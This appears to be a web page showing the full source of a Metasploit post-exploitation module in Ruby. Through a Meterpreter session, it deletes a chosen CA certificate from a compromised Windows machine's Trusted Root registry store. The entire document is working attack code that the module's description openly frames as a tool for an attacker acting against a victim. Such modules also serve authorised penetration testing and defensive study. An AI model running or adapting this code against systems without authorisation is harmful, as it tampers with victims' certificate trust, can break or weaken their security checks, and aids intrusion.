Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'Windows Manage Certificate Authority Removal',
13
        'Description' => %q{
14
          This module allows the attacker to remove an arbitrary CA certificate
15
          from the victim's Trusted Root store.
16
        },
17
        'License' => BSD_LICENSE,
18
        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
19
        'Platform' => [ 'win' ],
20
        'SessionTypes' => [ 'meterpreter' ],
21
        'Compat' => {
22
          'Meterpreter' => {
23
            'Commands' => %w[
24
              stdapi_registry_open_key
25
            ]
26
          }
27
        }
28
      )
29
    )
30

31
    register_options(
32
      [
33
        OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
34
      ]
35
    )
36
  end
37

38
  def run
39
    certtoremove = datastore['CERTID']
40

41
    open_key = nil
42
    key = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
43
    rkey, bkey = client.sys.registry.splitkey(key)
44

45
    # Check if the requested cert is actually in the registry to start with
46
    open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
47
    keys = open_key.enum_key
48

49
    if (keys.length > 1)
50
      if keys.include?(certtoremove)
51
        # We found our target
52
      else
53
        print_error('The specified CA is not in the registry.')
54
        return
55
      end
56
    else
57
      print_error('These are not the CAs you are looking for (i.e. this registry branch is empty)')
58
    end
59

60
    open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
61
    open_key.delete_key(certtoremove)
62
    print_good("Successfully deleted CA: #{certtoremove}")
63
  end
64
end
65

66